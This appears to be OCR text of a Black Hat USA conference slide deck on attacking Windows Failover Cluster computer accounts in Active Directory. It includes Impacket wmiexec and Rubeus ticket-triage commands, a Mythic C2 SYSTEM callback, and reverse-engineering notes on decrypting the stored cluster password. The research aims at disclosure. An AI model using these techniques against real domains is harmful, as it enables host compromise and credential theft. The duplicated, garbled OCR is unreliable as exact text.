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Tech > Tech Industry

Scalability Day falls short

Doubts remain about Windows NT-based servers' ability to tackle
high-level, enterprise-computing-size jobs.

May 20, 1997 316 pm. PT 4 min read />

Microsoft (MSFT) today gathered a number of big names in the PC server business
at what it called "Scalability Day" here, all in an effort to prove Windows NT is ready
to tackle enterprise-size jobs.

But it's not clear yet if Microsoft convinced anybody.

Guests and performers included Compaq Computer, Hewlett-Packard, Tandem, and
NCR.

Compagq (CPQ) stepped into the spotlight to demonstrate 25 Pentium Pro-based
ProLiant 5000 servers--all running Windows NT--in a simulation of a banking
operation that can process more than 1 billion transactions in a single 24-hour
period. That's four times the volume of calls that AT&T completes in one day,
Compagq said.

Hewlett-Packard (HWP) showed off an NT-based NetServer system capable of
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Microsoft's Cluster Server, which formerly went by the code name Wolfpack, is a
software-based clustering scheme, a system that allows servers to be connected

and to talk to each other. If one of them goes down, another server takes over the
work of the first, allowing a company to continue to operate even in the event of a

server crash.
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“A set of independent computers
that work together to increase the
availability of applications and
services”
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“ ..that was weird.”
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WiiteAccountRestrictions

DOMAIN COMPUTERS@LUDUS.DOMAIN

CLUSTER.LUDU
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Abusing forgotten permissions on computer objects in Active
Directory

A while back, | read an interesting blog by about in Active
Directory. In the blog, Oddvar also describes the option to configure who can join the computer to the
domain after the object is created. This sets an interesting ACL on computer accounts, allowing the
principal who gets those rights to reset the computer account password via the “All extended rights”
option. That sounded quite interesting, so | did some more digging into this and found there are more
ACLs set when you use this option, which not only allows this principal tc t the password but also
to configure Resource-Based Constrained Delegation. BloodHound was missing this ACL, and | dug into
why, which I've written up in this short blog. s sufficiently large (and/or old), someone
at some point likely added a few systems to the domain with this option set to “Everyone” or

“Authen d Users”, allowing all users in thegdamainta inintha oo o tbe daral
configured this probably did not realize this w

after it is joined to the domain. The logic to anj : Azure AD

gathere for SharpHc oms o
‘ ‘ { irect
may give you ac o servers from any user. \ | - o
- | -. 365
J and anything else You integrate with it.

Along the way, | discovered more cases in whi
the good chance that unintended users h
This post includes some queries 1o use in Blot
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option. That sounded quite interesting, so | did some more digging into this and found there are more

ACLs set when you use this option, which not only allows this principal to reset the password but also

to configure Resource-Based Constrained Delegation. BloodHound was missing this ACL, and | dug into
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Wagging the Dog: Abusing Resource-
Based Constrained Delegation to Attack
Active Directory

Back in March 2018, | embarked on an arguably pointless crusade to prove that the
TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved
without it. | believed that security wise, once constrained delegation was enabled (msDS-
AllowedToDelegateTo was not null), it did not matter whether it was configured to use "Kerberos only” or

“any authentication protocol”.

| started the journey with Benjamin Delpy gentilkiwi) help modifying Kekeo to support a certain
attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we |
but the final TGS turned out to be unusable. Ever since then, | kept coming back to
problem with different approaches but did not have much success. Until | finally ac
ironically then the solution came up, along with several other interesting abuse cas

techniques.

TL,DR

This post is lengthy, and | am conscious that many of you do not have the time or ¢
it, so | will try to convey the important points first: ‘

not require a

. 541 on any account that has an SPN, regardless of the state of the

TrustedToAuthForDelegation attribute. If TrustedToAuthForDelegation is set, then the TGS that
S4U2Self produces is forwardable, unless the principal is sensitive for delegation or a member of the

Protected Users group.

en if the ional TGS in the re

CLUSTER.LUDUS.DOMAIN
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in Active Directory, then it

nay be possible to abuse it to compromise the host.
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garrett@blackhat:~S wmiexec.py @cluster.ludus.domain —k -no-passl
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garrett@blackhat:~S wmiexec.py @cluster.ludus.domain —k -no-pass

Impacket v0.13.0.dev0+20250226.212301.ead516a1l - Copyright Fortra, LLC and
its affiliated companies

[-] SMB SessionError: code: 0xcO0000cc - STATUS BAD_NETWORK_NAME -

{Network Name Not Found} The specified share name cannot be found on the
remote server.

garrett@blackhat:~$ ||

#BHUSA @BlackHatEvents



blg?:k hat

BRIEFINGS g,

garrett@blackhat:~S wmiexec.py @cluster.ludus.domain —k -no-pass

Impacket v0.13.0.dev0+20250226.212301.ead516a1l - Copyright Fortra, LLC and
its affiliated companies

-] SMB SessionError: code: Oxc00000cc - STATUS_BAD_NETWORK_NAME -

{Network Name Not Found} The specified share name cannot be found on the
remote server.

garrett@blackhat:~$ ||
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'- Task Scheduler
File Action View Help
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@ New Calback (5) SYSTEM@TEST-CLUSTER with pid 2000
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'- Task Scheduler

File Action View Help
= =
Triggers Actions
o At 2:31 PM on 7/24/2025 Task Scheduler Library
(5 MicrosoftEd... Ready Multiple triggers defined j Create Basic Task...

v 1 lask Sch
] I"-a'1icr|:| 5.|:|ﬂ:

(5 MicrosoftEd... Ready At 1:11 PM every day - After triggered, repeat every 1 hour for a duration of 1 day. -

— el

: HOST : USER : DOMAIN PID : LAST CHECKIN : DESCRIPT
45 TEST-CLUSTER ted

@ New Calback (5) SYSTEM@TEST-CLUSTER with pid 2000
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@6~ $169.254.2.145 TEST-CLUSTER SYSTEM ludus 1628 1 seconds Created by m)

CALLBACK: 6 X  SPLIT CALLBACK: 6 X

[Thu Jul 24 2025 01:59 PM] / T-14 / mythic_admin / C-6 / ... v ;
load inline_assembly assembly_inject 3 T N o
[Thu Jul 24 2025 02:03 PM] / T-15 / mythic_admin / C-6 ... 4 D) D O _ o
inline_assembly -Assembly Rubeus.exe -Argum 5 [ /1100 _ Nl ___ 111 1/__D
ents triage /user:domainadmin 6 T N N (A ) T Y O (N A
7 [_1 [_I /| /| ) /( /
8
<) v2.2.2
10
11
12 Action: Triage Kerberos Tickets (All Users)
13
14 [*] Target user : domainadmin
15 [*] Current LUID =0xlol
16
17 ------—— -
18 | LUID | UserName | Service
19 mm e e

20
21

@x3fb@3f4
@x1beed?d

LUDUS . DOMAIN
LUDUS . DOMAIN

HTTP/test-cluster.ludus.domain
HTTP/test-cluster.ludus.domain

domainadmin
domainadmin

I [ @ I
I [ @ I
22 | @x14c274b | domainadmin @ LUDUS.DOMAIN | HTTP/cluster.ludus.domain _
23 | @x108c183e | domainadmin @ LUDUS.DOMAIN | HTTP/test-cluster.ludus.domain
24 | @xfd88de4 | domainadmin @ LUDUS.DOMAIN | HTTP/test-cluster.ludus.domain
25 | @xfd883e2 | domainadmin @ LUDUS.DOMAIN | HTTP/test-cluster.ludus.domain "
26 | @x16e9534 | domainadmin @ LUDUS.DOMAIN m ~domatin
27 | @x11225c6 | domainadmin @ LUDUS.DOMAIN' | krbtgt/LUDUS.DOMAIN ’ -
28 | 0x11225c6 | domainadmin @ LUDUS.DOMAIN ' “kwaus.domain | /2572025 1:29:
FA B e e e
30
21
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Member Of Delegation Password Replicatio
Managed By Object Security Dialdn Attribute Editor

Attribute: servicePrincipalMame

Walue to add:

ludus domain
ha

hare ludus.domain

General Operating System Member Of ) i : ord Replication
i i i i Attribute Editar
Multi-valued String Editor

Attribute: servicePrincipalMame

Walue to add:
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HOST clustshare ' HOST/TESTLLUSTERZ

HOST Aclustshare Judus.domain sAM | HOSTAestcluster? lJudus.domain

MSClusterVirtual Server/clustshare sAM | MSServerClusterMgmt AP/ TEST-LLUSTERZ
MSClusterVirtual Server/clustzhare ludus domain cerd | MEServerClusterMgmt AP Aest-cluster? ludus domair
MSServerClusterMgmt AP1/clustshare e | PestrictedibHost/ TESTCLUSTERZ

F:Er:-trin::teclI'-'.II:IHn:nr:-t.-“[Er:-t-u::IusterE.Iu':IUr:-.n:In:nrnain
TERMSRV/TESTLLLUSTERZ
TEF'r'L-F" TH i |IJ twr._ ludus |:|| Imain

M55erverClusterMgmt AP /clustshare ludus.domain
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Why did scheduled tasks
work?
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Why that host?
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What’s going on with session
data?
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How does Kerberos
authentication work?
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)\ @hotnops

90 percent of security research is getting test environments setup
properly.

1111 PM - Oct 27, 2021
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Application

Cluster Service

Cluster Service

Cluster Service

Cluster Service
RPC
Cluster Administrator

Randomly allocated high
ports?

WinRM

Protocol

UDP and
DTLS’

TCP

ICMP

TCP

TCP

UDP

TCP

TCP

Ports

3343

3343 (This port is required during a node join operation.)

Echo port (This port is required during a node join operation from the Add Node
Wizard))

445 (This port is required during a node join operation from the Add Node Wizard.)
135
137

Random port number between 49152 and 65535

5985 (This port is required when deploying cloud witness.)



Application Protocol Ports

Cluster Service UDP and 3343
DTLS®
Cluster Service TCP 3343 (This port is required during a node join operation.)
Cluster Service ICMP Echo port (This port is required during a node join operation from the Add Node
Wizard))
Cluster Service TCP 445 (This port is required during a node join operation from the Add Node Wizard.)
RPC TCP 135
Cluster Administrator UDP 137
Randomly allocated high TCP Random port number between 49152 and 65535
ports?

WinRM TCP 5985 (This port is required when deploying cloud witness.)
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Connection-specific DNS Suffix
Description . . . . . .
Physical Address. . . . .
DHCP Enabled. . . -
Autoconfiguration Enabled - o= o= E

Link-local IPv6 Address . . . . : Te80::df70:90b4:8ffa:b176%7(Preferred)
IPv4 Address. . . . . . - - : 169.254.1.95(Preferred)

Subnet Mask . . . . . . - - 2 255.255.0.0

Default Gateway . -
DHCPv6 IAID . . - . . : 167964671
DHCPv6 Client DUID. . - - : 00-01-00-01-2E-E1-A4-1B-BC-24-11-9A-41-4A
NetBIOS over Tcpip. : : - : Enabled

) W test clusterd - Bthemet (® Up
% W test cluster? - Ethemet ) Up
¥ PP testcluster - Ethemet i:_i'_:!- Lip




I ClusSvc

IP

NDIS




Application

Cluster Service

Cluster Service

Cluster Service

Cluster Service
RPC
Cluster Administrator

Randomly allocated high
ports?

WinRM

Protocol

UDP and
DTLS’

TCP

ICMP

TCP

TCP

UDP

TCP

TCP

Ports

3343

3343 (This port is required during a node join operation.)

Echo port (This port is required during a node join operation from the Add Node
Wizard))

445 (This port is required during a node join operation from the Add Node Wizard.)
135
137

Random port number between 49152 and 65535

5985 (This port is required when deploying cloud witness.)



Application Protocol Ports
Cluster Service UDP and 3343
DTLS'
Cluster Service TCP 3343 (This port is required during a node join operation.)
Cluster Service ICMP Echo port (This port is required during a node join operation from the Add Node
Wizard.)
Cluster Service TCP 445 (This port is required during a node join operation from the Add Node Wizard.)
RPC TCP 135
Cluster Administrator UDP 137
Randomly allocated high TCP Random port number between 49152 and 65535
_ports”
WinRM TCP 5985 (This port is required when deploying cloud witness.)



.395006
.395104
.395125
.395151
.395345
.395911
.396105
.396479
.396541
.396549
.398144
.398206
.405345
.4038707
.409036
.409240
.411100
.411647
.412303
.412465
.412501
.412632
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.10.100
.10.22
.10.100
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.10.22
.10.100
.10.22
.10.100
.10.22
.10.100
.10.100
.10.22
.10.100
.10.22
.10.100
.10.22
.10.100
.10.22
.10.100
.10.22
.10.100
.10.22

TCP

TCP

TCP
DCERPC
DCERPC
EPM

EPM
TCP

TCP

TCP
DCERPC
TCP

TCP
DCERPC
DCERPC
DCERPC
CLUSAPI
CLUSAPI
CLUSAPI
CLUSAPI
CLUSAPI
CLUSAPI

49879 » 135 [SYN, ECE, CWR] Seq=0 Win=64240 Len=0
135 » 49879 [SYN, ACK, ECE] Seq=0 Ack=1 Win=65535
49879 » 135 [ACK] Seq=1 Ack=1 Win=262656 Len=08
Bind: call id: 2, Fragment: Single, 3 context ite
Bind _ack: call id: 2, Fragment: Single, max xmit:
Map request, CLUSAPI, 32bit NDR

Map response, CLUSAPI, 32bit NDR

49880 - 55602 [SYN, ECE, CWR] Seq=0 Win=64240 Len
55602 - 49880 [SYN, ACK, ECE] Seq=0 Ack=1 Win=6553
49880 -» 55602 [ACK] Seq=1 Ack=1 Win=262656 Len=0
Bind: call id: 2, Fragment: Single, 3 context ite
55602 - 49880 [ACK] Seq=1 Ack=2146 Win=2097920 Le
49879 -» 135 [ACK] Seq=329 Ack=281 Win=262400 Len=€
Bind _ack: call id: 2, Fragment: Single, max xmit:
Alter context: call id: 2, Fragment: Single, 1 co
Alter_context resp: call id: 2, Fragment: Single,
GetClusterName request

GetClusterName response

OpenClusterEx request

OpenClusterEx response

CreateEnum request

CreateEnum response
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ck=1 Win=262656 Len=0
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g K Seq=i
3 DCERPC Bind: call id: 2, Fragment: Single, 3 context ite
.3.10. DCERPC Bind ack: call id: 2, Fragment: Single, max xmit:
il p EPM Map request, CLUSAPI, 32bit NDR
3

3
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A
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EPM Map response, CLUSAPI, 32bit NDR

WinRM TCP 5985 (This port is required when deploying cloud witness.)



49880 - 55602 [ACK] Seq=1 Ack=1 Win=262656 Len=0
Bind: call id: 2, Fragment: Single, 3 context ite
55602 -» 49880 [ACK] Seq=1 Ack=2146 Win=2097920 Le

49879 - 135 [ACK] Seq=329 Ack=281 Win=262400 Len=

Bind ack: call id: 2, Fragment: Single, max xmit:
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Cluster Service

Cluster Service
10.3.10.100
10.3.10.22
10.3.10.100
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Cluster Administrator

Randomly allocated high

DO tt:

\WinDRM/
WIinRM

Protocol

UDP and

DTLS'

ICP
CLUSAPI
CLUSAPI
CLUSAPI
CLUSAPI
CLUSAPI

TCP

Ports

3343 (This port is required during a node join operation.)
GetClusterName request
GetClusterName response
OpenClusterEx request

OpenClusterEx response
CreateEnum request

=
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Virtual Cluster Object: -

The computer account
of a clustered service
or application.

#BHUSA @BlackHatEvents
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Cluster Name Object:
The computer
account of the
cluster itself

NODE

#BHUSA @BlackHatEvents
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Cluster Node: -
A member server of a cluster -
that can own/host N
the VCO or CNO resource

#BHUSA @BlackHatEvents
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How does Kerberos
authentication work?

#BHUSA @BlackHatEvents
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Action: Triage Kerberos Tickets (All Users)

[*] Target service : krbtgt

[*] Current LUID : @x977c8
| LUID | UserName | Service | EndTime |
Ox3e4 | test-cluster2$ @ LUDUS.DOMAIN krbtgt/LUDUS.DOMAIN 7/28/2025 9:08:3
©x20c028 | cluster-share$ @ LUDUS.DOMAIN J| krbtgt/LUDUS.DOMAIN | 7/28/2025 10:11:09
Ox20ebff9o cluster$ @ LUDUS.DOMAIN krbtgt/LUDUS .DOMAIN 7/28/2025 10:11:09
1 |

| ex6fada | noprivs @ LUDUS.DOMAIN | krbtgt/LUDUS.DOMAIN 7/28/2025 9:10:3
| @x6dc56 | domainadmin @ LUDUS.DOMAIN | krbtgt/LUDUS.DOMAIN 7/28/2025 9:10:3
| @x2c72d | domainuser @ LUDUS.DOMAIN | krbtgt/LUDUS.DOMAIN | 7/28/2025 9:08:3
| ex3e7 | test-cluster2$ @ LUDUS.DOMAIN | krbtgt/LUDUS.DOMAIN 7/28/2025 9:08:3

| 7
| e
| 2
krbtgt/LUDUS.DOMAIN | 7/28/2025 11:25:3
| 9
| 8
| 8
| 8

#BHUSA @BlackHatEvents
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Bx2a48ab
Bx9a34923

Bxb59766

|
|
| ex3e4
|
| ex3e7

| cluster-share$ @ LUDUS.DOMAIN
| cluster$ @ LUDUS.DOMAIN
| tESt—ElUStEF3$ @ LUDUS.DOMATIN

| test-cluster3t @ LUDUS DOMAIN | krbtgt/LUDUS.

krbtgt/LUDUS . DOMA
krbtgt/LUDUS .DOMA

krbtgt/LUDUS. Lt
krbtgt/LUDUS.

| ex17a@104 |

| 8x3e7

cluster$ @ LUDUS.DOMAIN
| test-cluster$ @ LUDUS.DOMAIN

krbtgt/LUDUS.
krbtgt/LUDUS.
krbtgt/LUDUS.
| krbtgt/LUDUS.

DM w” I

SOy 983 10 L0 0O Mt I

| 7/28/2025 6:21:18 AM |

| krbtgt/LUDUS.

#BHUSA

@BlackHatEvents
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Understanding the Repair Active Directory Object Recovery Action

John Marlin Former Employee
Mar 15, 2019

First published on MSDN on Dec 13, 2013

One of the responsibilities of cluster Network Name resource is to rotate the password of the computer object in Active Directory associated with it.

When the Network Name resource is online, it will rotate the password according to domain and local machine policy (which is 30 days by default).

If the password is different from what is stored in the cluster database, the cluster service will be unable to logon to the computer object and the

Network Name will fail to come online. This may also cause issues such as Kerberos errors, failure to register in a secure DNS zone, and live migration to

fail.

The Repair Active Directory Object option is a recovery tool to re-synchronize the password for cluster computer objects. It can be found in Failover

Cluster Manager (CluAdmin.msc) by right-clicking on the Network Name, selecting More Actions..., and then clicking Repair Active Directory Object.

#BHUSA

@BlackHatEvents
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One of the responsibilities of cluster Network Name resource is to rotate the password of the computer object in Active Directory associated with it.

When the Network Name resource is online, it will rotate the password according to domain and local machine policy (which is 30 days by default).
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If the password is different from what is stored in the cluster database, the cluster service will be unable to logon to the computer object and the

Network Name will fail to come online. This may also cause issues such as Kerberos errors, failure to register in a secure DNS zone, and live migration to

fail.
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The Repair Active Directory Object option is a recovery tool to re-synchronize the password for cluster computer objects. It can be found in Failover

Cluster Manager (CluAdmin.msc) by right-clicking on the Network Name, selecting More Actions..., and then clicking Repair Active Directory Object.
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Cluster keytab.txt

Rubeus.exe

‘; Failover Cluster Manager

File Action View Help

¥

= Roles

51 Nodes

c4 Storage

3 Networks

§4] Cluster Events

Recent Cluster Events: None in the last 3 hours

Witness: Cluster Disk 1

Configure

Configure high availability for a specific clustered role, add one or more servers (nodes). or copy roles from a cluster running Windows

Server 2022 or supported previous versions of Windows Server.

Navigate

&

Cluster Core Resources

Name
Server Name
= % Name
A“ IR

Storage

Bring Online

Show Critical Events

More Actions

71

Status

0 Offline

4) Online
(#) Online

Repair

Information

Actions
cluster.ludus.domain
Configure Role...
Validate Cluster...
View Validation Report
Add Node...
Close Connection
Reset Recent Events
More Actions
View
Refresh
Properties

Help

Name: cluster

Bring Online

Show Critical Events
More Actions
Remove

Properties

Help

cluster.ludus.domain: Name: cluster Remone = | Show Dependency Report

Properties

Windows Server 2022 Standard Evaluation
Windows License valid for 167 days
Build 20348.fe_release.210507-1500

2:03 AM
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- /O Type here to search
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Name Status Information %ﬁ] Show Critical Events
Server Name

B More Actions

5 0M Name—— (#) Offline A Remove
- 4 Bring Online - _
g P wal [ (# Online | Properties
. - I SRPCS P _ I] Help
# & Clustel S (#) Online

3| Show Critical Events

B More Actions » |7 | Repair
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6460 @ RegC!ueryKe"
6460 [ RegOpenKey
6460 fﬁf RegCloseKey

6460 @f RegCloseKey
6460 @ RegQueryKey
6460 [ﬁfRegOpen Key

MName

ab|(Default)

ab| CoreCurrentName

&l CryptoContainerGUID
24| Flags

3'5] Mame

,!_-9_1 SeparateMonitor

ab| Type

HKLM? Cluster

HKLM'\Cluster\Resources'\cadb6e-51c(-47e1-93ce-1eff4dfb463e’

HKLM"Cluster

HKLM\Cluster\Resources\cadbtXte-51c(-47e1-93ce-1effddfb463e
HKLM"\Cluster\Resources\cadbX6e-51c(-47e1-93ce-1eff4dfb463e

HKLM
HKLM\Cluster

Type

REG_SZ
REG_SZ
REG_S5Z
REG_DWORD
REG_SZ
REG_DWORD
REG_DWORD
REG_SZ

Data

(value not zet)

cluster
f12bdcdf-33e8-4121-a602-ad167c1b8dc2
O 00000001 (1)

Cluster Mame

O 00000001 (1)

Cox OO000000 (0)

Metwork Mame




6460 [ RegCloseKey
6460 [ RegQuenyValue
6460 w RegQueryValue

6460 f RegCloseKey
5460 f RegQueryKey
6460 [ RegOpenKey

HKLM\Cluster

HKLM \Cluster\Checkpoints\cadt2fbe-51c0-4 /e 1-93ce-1eff 4dfb463e \Crypto \Checkpoints
HKLM \Cluster\Checkpoints‘cadtXbe-51cl-4 /e 1-93ce-1eff4dfb463e \Crypto® Checkpounts
HKLM\Cluster\Checkpoints\cadbXte-51c(-47e1-93ce-1effddfb463e
HKLM"\Cluster\Checkpoints'cadtfbe-51c0-47e1-93ce-1eff ddfb463e Crypto

HKLM
HKLM\Cluster

e-1eff4dfb463e\Crypto\55dbc9ad-ff67-42eb-af15-fSbef1fcd71c

Name

abl (Default)

ab| CryptoContainer
%% Data

Type

REG_SZ
REG_SZ
REG_BINARY

Data

(value not set)
T\Microseft Enhanced Cryptographic Provider v1.0\f12b4ci
03 00 00 00 00 00 0000 94 04 00 00 00 0000000000 00 00 O




oL 0U ﬁ"'ll 'T'
6460 t;f RegOpenkey
6460 t‘j’ RegQueryKey
6460 RegOpenKey
6460 [fj RegSetValue
6460 t;ff RegCloseKey

T O
Labl) B Hen OSSRy

wo| PublishPTRRecords REG_DWORD

Wio| RegisterAllProviderslP  REG_DWORD
Wio| RemapPipeNames REG_DWORD

HKLM*\Cluster

HKLM \Cluster

HKLM\Cluster\Resources'\cadbfbe-51c0-47e1-93ce-1eff4dfb463e" \Parameters
HKLM\ClusterResources'\cadb2fbe-51cl-47e1-93ce-1eff4dfb463e"\Parameters \Resource Data
HKLM\Cluster\Resources'\cadt2fbe-51c0-47e1-93ce-1eff4dfb463e"\Parameters

0x 00000000 (0)
0x00000000 (0)
02000000100000000001 000003 a108 e2 c5d2 28 31 b9 af 53 a0 ae 9d 6f 6e 81 51 ...




6460 t;f RegOpenKey
6460 t‘j’ RegQueryKey
6460 RegOpenKey

6460 [fj RegSetValue
6460 t;f RegCloseKe

‘.’.'& PublishPTRRecords
wo| RegisterAllProviders|P
Wio| RemapPipeNames

i1 ResourceData

REG_DWORD
REG_DWORD
REG_DWORD
REG_BINARY

HKLM*\Cluster
HKLM \Cluster
HKLM"\Cluster\R
HKLM\Cluster'.R

0x 0000000
Ox 0000000
0x0000000
02 00 00 OC

ALL / RESEARCH & TRADECRAFT

LSA Whisperer

APR 17 2024

BY: EVAN MCEROOM « 35 MIN READ

Thank you to SpecterOps for supporting this research, to Elad for hel
Daniel, and Adam for proofreading and editing! Crossposted on GitH

lsa> msvl_© GetCredentialKey --luid @x024f71ca
InputData[@x1lc]: 12000000ca714f020000000000000000¢
OutputData[©x44]: 1200000000000000000000000000000¢€

I > 1 00000
ProtocolStatus: ©xe

Local CredKey (SHA OWF) [©x14]: 79
Domain CredKey (NT OWF) [ex1@]: 1d
1sa>

What follows is the culmination of two years of research with fundin
contributions from many of my coworkers.
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Garrett pecember 5th 2024 at 3:47 PM

Here’s the entire cluster directory, clussvc is the primary service binary

December 5t 2024 at 3:49 PM Evan

I'll look at this tonight

Garrett pecember 5th 2024 at 4:02 PM

thanks for taking a look at it, | tried in ghidra and could see signs of
what was happening but couldn't quite get to the finish line

G

#BHUSA @BlackHatEvents
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4 hours later

#BHUSA @BlackHatEvents
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December 5t 2024 at 7:45 PM Evan

Decryption is done in clusres.dllINetNamelLib::CryptoAccessV2::Decrypt

| have private symbols for this. Here’s a screenshot of the definition for
that class

class Crypto: iCryptProvider { /+ Size=gx40 +/

/% 0x0008 #/ private: std::basic_string<uchar_t,std::char_traits<uchar_t>,std::allocator<uchar_t> > _keyName

7+ 0x0028 +/ private: cxl::AutoHandle<unsigned __int6d, (nf,&Crypto: :CryptProvider: :CryptReleasaContext, 6> cryptPrnvLﬂer
/+ 0x0830 */ private: cxl::AutoHandle<unsigned __int64, int,sCryptDestroykey,0> _exchangekey;
/% 0x0038 +/ private: cxl::AutoHandle<void *,long,&Crypto: :CryptProvider: :BCryptCloseAlgor ithwProvider, 0> _algoProvider;

public: CryptProvider(const std: haslc stringeuchar_t,std::char_traits<uchar_t>,std: :allocator<wchar_t> >, ULONG, const std::basic_string<uchar_t,std::char_traits<wchar_t,std: :allocator<uchar_t> >8, ULONG);
private: CryptProvider(const Cry
private: Crypto::CryptProvider& operator‘—l:onst Crypto
public: virtual ~CryptProvider();
VOID Encrypt(const std: :vect
VOID Encrypt(const UCHAR*, ULDMGLDNG‘ std: ivector<unsigned char,std::allocator<unsigned char> >&);
VOID Decrypt(std: :vector<insigned char,std: :allocator<unsigned chars >8);

private: ULONGLONG AquireContext(const std::basic_stringuchar_t,std::char_traits<uchar_t>,std: :allocator<uchar_t> >, ULONG, const std::basic_string<wchar_t,std::char_traits<uchar_t>,std: :allocatoruchar_t> >§,
private: PVOID OpenAlgorithm(const std::basic_string<wchar t,std::char_traits<wchar_t>,std::allocatorswchar_t> >&);

private: VOID GenerateCryptKey(cxl::AutoHandle<void *,long,&BCryptDestroyKey,8>&, std::vector<unsigned char,std::allocator<unsigned char> >&, std::vector<unsigned char,std
private: VOID EncryptData(PULONG, PUCHAR, ULONGLONG);

public: virtual PVOID _ vecDelDtor(ULONG);

ryptProviders);

ector<unsigned char,std::allocator<unsigned char> >&);

locator<unsigned char> >8);

private: static LONG CryptReleaseContext (ULONGLONG);
private: static LONG BCryptCloseAlgorithmProvider(PVOID);

bl
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class Crypto::CryptProvider { /* Size=0x40 */
/* Ox0008 */ private: std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > _keyName;
/* Ox0028 */ private: cxl::AutoHandle<unsigned __1int64,1int,&Crypto::CryptProvider: :CryptReleaseContext,@> _cryptProvider;
/% Bx0030 */ private: cxl::AutoHandle<unsigned __1int64,int,&CryptDestroyKey,d> _exchangeKey;
/* Bx0038 */ private: cxl::AutoHandle<void *,long,&Crypto::CryptProvider: :BCryptCloseAlgorithmProvider,@> _algoProvider;

public: CryptProvider(const std::basic_string=wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> =&, ULONG, const std::basic_str
private: CryptProvider(const Crypto::CryptProvider&};

private: Crypto::CryptProvider& operator=(const Crypto::CryptProvider&);

public: virtual ~CryptProvider(};

public: VOID Encrypt(const std::vector<unsigned char,std::allocator<unsigned char> =&, std::vector<unsigned char,std::allocator<unsigne
public: VOID Encrypt(const UCHAR*, ULONGLONG, std::vector<unsigned char,std::allocator<unsigned char> =&};

public: VOID Decrypt(std::vector<unsigned char,std::allocator<unsigned char> >&});

private: ULONGLONG AquireContext(const std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> >&, ULONG, const std
private: PVOID OpenAlgorithm(const std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> >&};

private: VOID GenerateCryptKey(cxl::AutoHandle<void *,long,&BCryptDestroykey,0>&, std::vector<unsigned char,std::allocator<unsigned cha
private: VOID EncryptData(PULONG, PUCHAR, ULONGLONG};

public: virtual PVOID __vecDelDtor(ULONG);

private: static LONG CryptReleaseContext(ULONGLONG };
private: static LONG BCryptCloseAlgorithmProvider(PVOID};

#BHUSA @BlackHatEvents



ackhat | \
BRIEFINGS Rt

December 5t 2024 at 7:45 PM Evan

Decryption is done in clusres.dllINetNamelLib::CryptoAccessV2::Decrypt

| have private symbols for this here’s a screenshot of the definition for
that class

class Crypto: iCryptProvider {
x td: :basic_ wthar t,5td: :char_tratts<uchar_t=,std: :allocator<uchar_t> > _KeyNam

toHandle<unsigned __int6d, inf,&Crypto: :CryptProvider: :CryptReleaseContext, 0> cryptPrndeer

toHandle<unsigned _int64, int,&CryptDestroyKey, 0> _exchangeKey;

toHandle<void *,long,&Crypto::CryptProvider: : BCryptCloseAlgor ithmProvider, 6> _algoProvider;

public: CryptProvider(const std::basic_stringawchar_t,std::char_traits<wchar_t>,std: :allocator<wchar_t> >&, ULONG, const std::basic_string<wchar_t,std::char_traits<wchar_t>,std: :allocator<wchar_t> >&, ULONG);
private: CryptProvider(const Crypto::CryptProviders);

private: Crypto::CryptProvider& operator=(const Crypto: :CryptProviders);

public: virtual ~(ryptPrﬂv\dsrl)

public: VOID Encrypt(const std: char, std: :allocator<unsi char> >&, std::vector<unsigned char,std::allocator<unsigned char> >&);

public: VOID Encrypticonst UCHARY, ULONGLONG, std::vector<unsigned char,std::allocator<unsigned chars >&);

public: VOID Decrypt(std: :vector<unsigned char,std::allocator<unsigned char> >&);

private: ULONGLONG AquireContext(const std::basic_string<uchar_t,std: :char_traits<uchar_t>,std: :allocator<wchar t> >&, ULONG, const std::basic_stringauchar t,std: :char_traits<uchar_t>,std: :allocator<uchar_t> >§
private: PVOID OpenAlgorithm(const std::basic_string<wchar_t,std::char_traits<wchar_t=,std::allocatorswchar_t> >&);

private: VOID GenerateCryptKey(cxl: :AutoHandle<void *,long,SBCryptDestroyKey, 858, std::vector<unsigned char,std: a'l'lncatnr<uns\gned char> >§, std: :vector<unsigned char,std: :allocator<unsigned char> >&);
private: VOID EncryptData(PULONG, PUCHAR, ULONGLONG);

public: virtual PVOID _vecDelDtor(ULONG);

private: static LONG CryptReleaseContext (ULONGLONG);
private: static LONG BCryptCloseAlgorithmProvider(PVOID);

It helpfully has plenty of debug statements that give away the structure
of the blob. This image shows an example

uvars = ae ::basic string<>

{local c0O,

L"BCryptDecryvpt{ cryptKey, BUFFER | data ), (ULONG)( data.size({) - BU
ER HEADER SIZE - BUFFER IV SIZE( data ) - BUFFER KEY SIZE({ data ) ), null
¥, sdata[0] + BUFFER_HEADER SIZE, *(PDWORD)&data[0], BUFFER DATA{ data ),
ULONG) { data.size() - BUFFER HEADER SIZE - BUFFER IV SIZE( data ) - BUFFE
KEY SIZE( data ) ), &size, BCRYPT BLOCK PRDDING )™

)i
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Decryption is done in clusres.dll!NetNamelLib::CryptoAccessV2::Decrypt

uVari = std::basic string<’» ::baslic sString<:>
{lcu:'.al_n:'.t_'l ]
L"BCryptDecrypt( cryptkey, BUFFER DATA( data ), (ULONG){ data.size() - BU
ER HELDER SIZE - BUFFER IV SIZE({ data ) — BUFFER KEY SIZE( data ) j, null
r, &data[0] + BUFFER HELDER S5IZE, *(PDWORD)&data([0], BUFFER DATA({ data ),
ULONG) ( data.size() - BUFFEE HEADEER SIZE - BUFFER IV SIZE( data ) - BUFFE
KEY SIZE( data ) ), &3ize, BCRYPT BLOCK PADDING )™

) ;
ot the blob. I his Image shows an example
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Decryption is done in clusres.dllINetNamelLib::CryptoAccessV2::Decrypt

| have private symbols for this here’s a screenshot of the definition for
that class

class Crypto: iCryptProvider {
x td: :basic_ wthar t,5td: :char_tratts<uchar_t=,std: :allocator<uchar_t> > _KeyNam

toHandle<unsigned __int6d, inf,&Crypto: :CryptProvider: :CryptReleaseContext, 0> cryptPrndeer

toHandle<unsigned _int64, int,&CryptDestroyKey, 0> _exchangeKey;

toHandle<void *,long,&Crypto::CryptProvider: : BCryptCloseAlgor ithmProvider, 6> _algoProvider;

public: CryptProvider(const std::basic_stringawchar_t,std::char_traits<wchar_t>,std: :allocator<wchar_t> >&, ULONG, const std::basic_string<wchar_t,std::char_traits<wchar_t>,std: :allocator<wchar_t> >&, ULONG);
private: CryptProvider(const Crypto::CryptProviders);

